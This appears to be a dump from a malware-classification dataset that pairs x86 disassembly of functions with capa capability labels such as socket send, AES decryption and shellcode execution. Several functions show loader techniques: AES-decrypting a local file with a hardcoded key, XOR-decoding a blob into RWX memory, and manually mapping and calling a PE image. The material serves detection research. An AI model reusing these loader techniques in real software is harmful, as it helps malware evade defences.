joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002b610
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push edi
mov eax, dword [eax]
mov dword [esp + 8], eax
mov edi, dword [eax + 0x124]
mov eax, dword [esp + 0x14]
cmp eax, 0x1f
jne 0x1002b779
push ebp
push esi
lea ebp, [edi + 0x1cb0]
lea esi, [edi + 0x1eb0]
cmp ebp, esi
mov dword [esi], ebp
jae 0x1002b64d
mov byte [ebp], 0xff
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b65b
mov byte [eax], 0xfa
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b669
mov byte [eax], 0x1f
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov cx, word [edi + 0x1ca8]
mov ebx, dword [sym.imp.WS2_32.dll_htons]
push ecx
call ebx
mov dx, word [edi + 0x1caa]
mov dword [esp + 0x1c], eax
push edx
call ebx
mov ecx, dword [esi]
cmp ecx, esi
jae 0x1002b698
mov dl, byte [esp + 0x1c]
mov byte [ecx], dl
mov ecx, dword [esi]
inc ecx
mov dword [esi], ecx
mov ecx, dword [esi]
cmp ecx, esi
jae 0x1002b6a9
mov dl, byte [esp + 0x1d]
mov byte [ecx], dl
mov ecx, dword [esi]
inc ecx
mov dword [esi], ecx
mov ecx, dword [esi]
cmp ecx, esi
jae 0x1002b6b6
mov byte [ecx], al
mov ecx, dword [esi]
inc ecx
mov dword [esi], ecx
mov ecx, dword [esi]
cmp ecx, esi
jae 0x1002b6c3
mov byte [ecx], ah
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b6d1
mov byte [eax], 0xff
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b6df
mov byte [eax], pe_nt_image_headers32
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
mov ebx, dword [esp + 0x10]
mov ecx, eax
lea edx, [edi + 0x1cb2]
sub ecx, ebp
mov dword [edi + 0x1eb4], eax
sub ecx, 2
mov dword [esi], ebp
push ecx
push edx
push 0x3e
push ebx
call fcn.1002b300
add esp, 0x10
mov esi, dword [sym.imp.WS2_32.dll_send]
push 0
push 3
push ebp
mov ebp, dword [esp + 0x24]
mov eax, dword [ebp + 0x190]
push eax
call esi
test eax, eax
jge 0x1002b738
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.10024430
add esp, 0xc
lea ecx, [edi + 0x1cb3]
push 4
push ecx
push ebp
call fcn.1002b780
mov edx, dword [ebp + 0x190]
add esp, 0xc
add edi, 0x1cb7
push 0
push 2
push edi
push edx
call esi
pop esi
pop ebp
test eax, eax
jge 0x1002b779
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.10024430
add esp, 0xc
pop edi
pop ebx
pop ecx
ret
Function at 0x1002c900
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x88
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x9c]
mov dword [esp + 0x10], 0x80
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
mov ebx, dword [edi + 0x4d8]
mov esi, dword [edi]
push eax
push ecx
mov edx, dword [ebx + 0x144]
mov eax, dword [ebx + 0x14c]
mov ecx, dword [ebx + 0x14]
lea ebp, [ebx + 0x14c]
add edx, 4
push 0
push edx
push eax
push ecx
mov dword [esp + 0x2c], esi
call dword [sym.imp.WS2_32.dll_recvfrom]
mov dword [ebx + 0x13c], eax
mov eax, dword [ebx + 0x138]
test eax, eax
jne 0x1002c993
mov ecx, dword [esp + 0x10]
lea esi, [esp + 0x18]
mov edx, ecx
lea edi, [ebx + 0xb8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x9c]
mov dword [ebx + 0x138], eax
cmp dword [ebx + 0x13c], 4
jge 0x1002c9be
push str.Received_too_short_packet
push esi
call fcn.10024430
add esp, 8
mov dword [ebx + 0xc], 7
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x88
ret
push ebp
call fcn.1002cb10
and eax, 0xffff
add esp, 4
mov dword [ebx + 0xc], eax
add eax, 0xfffffffd
cmp eax, 3
ja case.default.0x1002c9db
jmp dword [eax*4 + 0x1002caf4]
cmp dword [ebx + 0x13c], 4
jle case.0x1002c9db.4
push ebp
call fcn.1002c530
mov cx, word [ebx + 0x30]
add esp, 4
inc ecx
cmp cx, ax
jne case.0x1002c9db.4
mov edx, dword [ebx + 0x13c]
mov eax, dword [ebp]
sub edx, 4
add eax, 4
push edx
push eax
push 1
push edi
call fcn.10024b70
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x1002ca40
push 5
push ebx
call fcn.1002bdc0
add esp, 8
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x88
ret
mov eax, dword [ebx + 0x13c]
mov ebp, dword [esi + 0x70]
sub eax, 4
cdq
add ebp, eax
mov dword [esi + 0x70], ebp
mov ecx, dword [esi + 0x74]
adc ecx, edx
mov dword [esi + 0x74], ecx
mov edx, dword [esi + 0x70]
push ecx
push edx
push esi
call fcn.10022100
jmp 0x1002cac5
push ebp
call fcn.1002c530
and eax, 0xffff
mov dword [ebx + 8], eax
mov eax, dword [ebp]
add eax, 4
push eax
push 0x1003c5bc
push esi
call fcn.100243c0
add esp, 0x10
jmp case.0x1002c9db.4
mov ecx, dword [ebx + 0x13c]
mov edx, dword [ebp]
sub ecx, 2
add edx, 2
push ecx
push edx
push ebx
call fcn.1002cb30
add esp, 0xc
test eax, eax
je case.0x1002c9db.4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x88
ret
push str.Internal_error:_Unexpected_packet
push 0x1003cdb8
push esi
call fcn.10024430
add esp, 0xc
push edi
call fcn.100222e0
add esp, 4
test eax, eax
je 0x1002c9b1
push 5
push ebx
call fcn.1002bdc0
add esp, 8
mov eax, 0x2a
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x88
ret

Function at 0x10036be0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 0xc]
push eax
call fcn.10036bd0
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__read]
add esp, 0x10
ret
Function at 0x10038e20
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push esi
xor esi, esi
push 0xf0000000
push 0x18
push esi
lea eax, [esp + 0x14]
push esi
push eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x18], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10038f0c
mov edx, dword [esp + 8]
lea ecx, [esp + 4]
push ecx
push esi
push esi
push 0x800c
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10038eff
mov edx, dword [esp + 0x14]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0xc]
not ecx
dec ecx
push ecx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
pop edi
je 0x10038ef4
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
push 1
push edx
push 0x6610
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x10038ef4
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x1c]
push ecx
push edx
push esi
push 1
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10038edf
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov esi, 1
mov dword [ecx], edx
jmp 0x10038ee9
mov eax, dword [esp + 0x20]
mov dword [eax], 0
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [esp + 8]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
pop esi
add esp, 0xc
ret
Function at 0x10038f20
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax], 0
mov edi, str.donottrace.txt
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
push 3
mov ecx, ebx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x24]
push closesocket
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x100438f0], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x100438e0], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x100438e0]
mov edx, dword [0x100438f0]
push 0
push 0x100438e4
push ecx
push eax
push edx
mov dword [0x100438e8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x100438f0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x100438e0]
mov eax, dword [0x100438e8]
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
push ecx
push edx
push eax
push str.VP6xD1l641p5CrMKbgvnQoD20qUxdortl591yX0dNNGQeTiWITjLGfOgtBE1yS14WodB90cSQObezPtfScLWAIjNbqj31IFVZMdwWY12DfrWFyuZnqBPWXOc8gTndiPN
call fcn.10038e20
add esp, 0x10
pop edi
pop esi
pop ebx
add esp, 0x108
ret
Function at 0x100390b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 8]
test eax, eax
je 0x100390c6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov eax, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
push eax
push ebp
mov ecx, edi
call fcn.100394a0
test eax, eax
jne 0x100390e2
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov ecx, edi
call fcn.10039580
mov ebx, eax
test ebx, ebx
jne 0x100390f6
pop edi
pop esi
pop ebp
pop ebx
ret 8
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10039113
pop edi
pop esi
pop ebp
pop ebx
ret 8
push ebp
push esi
mov ecx, edi
call fcn.10039600
mov eax, dword [edi + 0x10]
mov ecx, dword [eax + 0xa0]
test ecx, ecx
jbe 0x1003913b
mov ecx, dword [eax + 0xa4]
test ecx, ecx
jbe 0x1003913b
push esi
mov ecx, edi
call fcn.10039320
push esi
mov ecx, edi
call fcn.10039390
test eax, eax
jne 0x1003915d
push 0x8000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
lea ecx, [esp + 0x18]
push ecx
push 0x40
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [edi + 0x10]
push 0
push 1
push esi
mov dword [edx + 0x34], esi
mov eax, dword [edi + 0x10]
mov ecx, dword [eax + 0x28]
lea eax, [ecx + esi]
mov dword [edi + 4], eax
call eax
test eax, eax
jne 0x100391ad
push eax
push eax
push esi
call dword [edi + 4]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [edi + 4], 0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov dword [edi], 1
mov dword [edi + 8], esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 8
Function at 0x100391d0
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, ecx
push 0x100437a8
call edi
mov eax, dword [esi + 0x10]
mov ecx, dword [eax + 0x78]
test ecx, ecx
je 0x1003930c
mov ecx, dword [eax + 0x7c]
test ecx, ecx
je 0x1003930c
mov ebx, dword [esp + 0x24]
push ebx
call edi
cmp dword [esi], 0
jne 0x1003921e
push str.isLoadOk
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 4
mov eax, dword [esi + 0x10]
mov esi, dword [esi + 8]
mov ebp, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov dword [esp + 0x1c], eax
mov ecx, dword [esi + ebp + 0x1c]
mov edx, dword [esi + ebp + 0x24]
mov eax, dword [esi + ebp + 0x20]
mov edi, dword [esi + ebp + 0x18]
add ecx, esi
add edx, esi
add eax, esi
mov dword [esp + 0x18], ecx
test ebx, 0xffff0000
jne 0x10039262
mov edi, dword [esi + ebp + 0x10]
mov eax, 0xffff
sub eax, edi
and eax, ebx
jmp 0x100392e5
test edi, edi
mov dword [esp + 0x10], 0
jle 0x10039313
mov dword [esp + 0x14], eax
jmp 0x1003927c
mov ebx, dword [esp + 0x24]
mov eax, dword [eax]
mov edi, ebx
add eax, esi
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [edi]
jne 0x100392a6
test cl, cl
je 0x100392a2
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [edi + 1]
jne 0x100392a6
add eax, 2
add edi, 2
test cl, cl
jne 0x10039282
xor eax, eax
jmp 0x100392ab
sbb eax, eax
sbb eax, 0xffffffff
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x100392d7
mov eax, dword [esp + 0x14]
mov edi, dword [esi + ebp + 0x18]
inc ecx
add eax, 4
cmp ecx, edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jl 0x10039278
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 4
test ecx, ecx
jl 0x10039313
xor eax, eax
mov ax, word [edx + ecx*2]
mov ecx, dword [esp + 0x18]
test eax, eax
jl 0x10039313
cmp eax, dword [esi + ebp + 0x14]
jge 0x10039313
mov eax, dword [ecx + eax*4]
cmp eax, ebp
jbe 0x10039300
mov ecx, dword [esp + 0x1c]
add ecx, ebp
cmp eax, ecx
jb 0x10039313
add eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 4
push str.NULL
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 4
Function at 0x100394a0
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
cmp edi, 0x40
jae 0x100394b4
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
mov eax, dword [esp + 0x10]
mov dword [ecx + 0xc], eax
cmp word [eax], 0x5a4d
je 0x100394ca
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
mov edx, dword [eax + 0x3c]
lea esi, [edx + 0xf8]
cmp edi, esi
jae 0x100394df
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
add eax, edx
mov dword [ecx + 0x10], eax
cmp dword [eax], 0x4550
je 0x100394f4
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
mov dx, word [eax + 0x16]
test dh, 0x20
jne 0x10039505
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
test dl, 2
jne 0x10039512
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
cmp word [eax + 0x14], 0xe0
je 0x10039522
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
lea esi, [eax + 0xf8]
xor eax, eax
mov dword [ecx + 0x14], esi
mov ecx, dword [ecx + 0x10]
xor edx, edx
mov ax, word [ecx + 6]
test eax, eax
jle 0x10039550
lea ecx, [esi + 0x10]
mov esi, dword [ecx + 4]
mov ebx, dword [ecx]
add esi, ebx
cmp esi, edi
ja 0x1003951a
inc edx
add ecx, 0x28
cmp edx, eax
jl 0x1003953d
pop edi
pop esi
mov eax, 1
pop ebx
ret 8
Function at 0x10001caa
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001d2a
push str.avifil32.dll
call fcn.10008403
test al, al
jne 0x10001cc3
pop esi
ret
push edi
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileInit
push dword [esi + 4]
call edi
push str.AVIFileExit
push dword [esi + 4]
mov dword [esi + 8], eax
call edi
push str.AVIFileRelease
push dword [esi + 4]
mov dword [esi + 0xc], eax
call edi
push str.AVIFileOpen
push dword [esi + 4]
mov dword [esi + 0x10], eax
call edi
push str.AVIStreamInfo
push dword [esi + 4]
mov dword [esi + 0x14], eax
call edi
push str.AVIStreamOpenFromFile
push dword [esi + 4]
mov dword [esi + 0x18], eax
call edi
push str.AVIStreamRelease
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call edi
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
pop edi
mov al, 1
pop esi
ret

Function at 0x10001d60
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001de0
push str.winmm.dll
call fcn.10008403
test al, al
jne 0x10001d79
pop esi
ret
push edi
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioInstallIOProcA
push dword [esi + 4]
call edi
push str.mmioOpenA
push dword [esi + 4]
mov dword [esi + 8], eax
call edi
push str.mmioClose
push dword [esi + 4]
mov dword [esi + 0xc], eax
call edi
push str.mmioAscend
push dword [esi + 4]
mov dword [esi + 0x10], eax
call edi
push str.mmioRead
push dword [esi + 4]
mov dword [esi + 0x14], eax
call edi
push str.mmioDescend
push dword [esi + 4]
mov dword [esi + 0x18], eax
call edi
push str.mciSendCommandA
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call edi
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
pop edi
mov al, 1
pop esi
ret
Function at 0x100051a3
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10014d34]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
cmp dword [esi + 0xe8], eax
jne 0x100051d1
cmp dword [esi + 0xec], edi
je 0x100052bb
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
mov dword [esi + 0xe8], eax
mov dword [ebp - 0xc], eax
push ebx
lea eax, [ebp - 0x14]
push eax
lea ecx, [esi + 0x30]
mov dword [esi + 0xec], edi
mov dword [ebp - 8], edi
call fcn.10008403
mov ebx, dword [esi + 4]
call dword [sym.imp.USER32.dll_GetFocus]
cmp eax, ebx
sete byte [ebp - 0x25]
and dword [ebp - 0x2c], 0
push ebx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
test eax, eax
je 0x10005226
push 0
push dword [esi + 4]
call ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [esi + 0x9c]
mov edx, dword [esi + 0xa4]
mov ecx, dword [esi + 0x98]
push 0x10
sub edx, eax
push edx
mov edx, dword [esi + 0xa0]
sub edx, ecx
push edx
push eax
push ecx
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0
push 0
push 0x491
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x10005270
mov ecx, esi
call fcn.10008403
cmp dword [ebp - 0x2c], 0
je 0x1000527d
push 1
push dword [esi + 4]
call ebx
cmp byte [ebp - 0x25], 0
pop ebx
je 0x1000528d
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetFocus]
mov ecx, dword [esi + 0x24]
test ecx, ecx
je 0x100052bb
mov eax, dword [esi + 0x98]
mov dword [ebp - 0x24], eax
mov eax, dword [esi + 0xa4]
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 0xa0]
lea edx, [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ecx]
push edx
call dword [eax + 0x34]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.10009710
leave
ret 8
Function at 0x10008403
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10008412
pop dword [ebp - 0x2c]
mov eax, 0x988c6c53
add eax, 0x777417bf
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xc59b2be2
sub dword [ebp - 0x3c], 0x7748e697
mov dword [ebp - 0x38], 0xf3738447
add dword [ebp - 0x38], 0x3ebfc7fe
mov dword [ebp - 0x34], 0xb9bb4624
sub dword [ebp - 0x34], 0x6d6f01f6
mov dword [ebp - 0x30], 0xf647a8e3
sub dword [ebp - 0x30], 0xf647a8e3
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x144e255b
sub eax, 0x44d74df
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x78edeec3
add dword [ebp - 0x3c], 0xfb847a93
mov dword [ebp - 0x38], 0xae9a35d
add dword [ebp - 0x38], 0x3682be18
mov dword [ebp - 0x34], 0xdca60f3f
sub dword [ebp - 0x34], 0x7936a2d3
mov dword [ebp - 0x30], 0x61b5f437
add dword [ebp - 0x30], 0x9e4a0bc9
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x38bd0
push 0
call eax
mov ecx, 0x3dabc6bc
add ecx, 0xc25484db
xor esi, esi
add esi, eax
mov edx, 0x10019600
add edx, dword [ebp - 0x2c]
mov edi, 0x116a0d07
sub dword [ebp - 8], 0x2adb9ff2
mov ebx, dword [edx]
mov dword [ebp - 8], 0xce23e286
xor ebx, edi
xor dword [ebp - 0x10], eax
mov dword [esi], ebx
add dword [ebp - 0x14], 0xf15bfd92
add esi, 4
add edx, 4
loop 0x10008525
add eax, 0x1212f
mov ebx, eax
add eax, 0x1354b32a
sub eax, 0x1354b325
mov ecx, 0xb70eabe5
sub ecx, 0xa70eabe5
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x100089c1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8

Function at 0x10008de5
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push edi
mov edi, ecx
cmp eax, 0x1a
jl 0x10008e3e
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x10008e3e
push ebx
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [edi + 0x18]
call ebx
mov eax, dword [esi + 4]
mov edx, dword [esi + 0xc]
mov ecx, dword [esi]
push 0x10
sub edx, eax
push edx
mov edx, dword [esi + 8]
sub edx, ecx
push edx
push eax
push ecx
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.10008403
push 1
push dword [edi + 0x18]
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret 4

Function at 0x10009710
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10014d34]
jne 0x1000971a
repz ret
jmp fcn.10009ea3
Function at 0x401000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401012
mov eax, dword [0x40c153]
shl eax, 2
mov dword [0x40c157], eax
push edx
push 0
call fcn.0040ba7a
mov edx, eax
call fcn.00404538
pop edx
call fcn.00403840
call fcn.0040453c
push 0
call fcn.00405240
pop ecx
push 0x40c0fc
push 0
call fcn.0040ba7a
mov dword [0x40c15b], eax
push 0
jmp fcn.004093b0
Function at 0x401f74
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
mov byte [ebp - 0x41], cl
mov dword [ebp - 0x40], edx
mov ebx, eax
mov eax, 0x40cc48
call fcn.00404904
cmp byte [ebp - 0x41], 0
jne 0x401fc4
push ebx
call fcn.0040ba50
cmp eax, 0xffffffff
je 0x401fc4
test ah, 0x40
je 0x401fc4
mov cl, 1
mov edx, 0x10000000
mov eax, ebx
call fcn.00401f74
cmp dword [0x40c388], 0
je 0x401fc4
push 0
push ebx
call dword [0x40c388]
push 1
lea edx, [ebp - 0x58]
push edx
call fcn.0040b970
test eax, eax
jne 0x401fe1
xor eax, eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
jmp 0x402049
push 0
lea ecx, [ebp - 0x58]
push dword [0x41097c]
push ecx
call fcn.0040b9be
lea eax, [ebp - 0x58]
push eax
push 1
push ebx
call fcn.0040b9b2
mov word [ebp - 0x2c], 8
lea eax, [ebp - 0x18]
mov ecx, dword [ebp - 0x40]
mov edx, dword [0x410978]
call fcn.00402d8c
mov esi, eax
add dword [ebp - 0x20], 2
push esi
push 4
push ebx
call fcn.0040b9b2
test eax, eax
mov edx, 2
setne al
and eax, 1
push eax
lea eax, [ebp - 0x18]
sub dword [ebp - 0x20], 2
call fcn.00402e60
pop eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402050
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x402059
mov eax, dword [ebp - 4]
add esp, 0xffffffcc
push ebx
cmp dword [0x40c38c], 0
jne 0x40207a
mov al, 1
jmp 0x402176
xor edx, edx
lea ecx, [ebp - 4]
mov dword [ebp - 4], edx
xor edx, edx
mov dword [ebp - 0x20], edx
push ecx
lea ebx, [ebp - 0x10038]
push 0x10014
push ebx
push 5
push eax
call fcn.0040b94c
test eax, eax
je 0x402127
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
call fcn.0040b964
test eax, eax
je 0x402127
push dword [0x41097c]
push dword [ebp - 0x24]
call fcn.0040b940
test eax, eax
je 0x402127
lea edx, [ebp - 8]
lea ecx, [ebp - 0xa]
push edx
push ecx
push ebx
call fcn.0040b958
test eax, eax
je 0x402127
test byte [ebp - 9], 0x10
jne 0x4020e6
test byte [ebp - 9], 4
jne 0x402127
test byte [ebp - 0xa], 4
je 0x402127
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x10]
push ecx
push ebx
call fcn.0040b95e
test eax, eax
je 0x402127
cmp dword [ebp - 0x18], 0
je 0x402127
mov eax, dword [ebp - 0x18]
cmp word [eax + 4], 1
jne 0x402127
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push edx
push ecx
push dword [ebp - 0x18]
call dword [0x40c38c]
test eax, eax
je 0x40212b
mov al, 1
jmp 0x402176
xor ebx, ebx
cmp dword [ebp - 0x1c], 1
jne 0x402164
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
and edx, 0x1f01ff
cmp edx, 0x1200a9
jne 0x402164
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 4], 1
jne 0x402164
push dword [0x410978]
mov eax, dword [ebp - 0x20]
push dword [eax + 0x1c]
call fcn.0040b940
test eax, eax
jne 0x402166
mov bl, 1
cmp dword [ebp - 0x20], 0
je 0x402174
push dword [ebp - 0x20]
call fcn.0040bafe
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret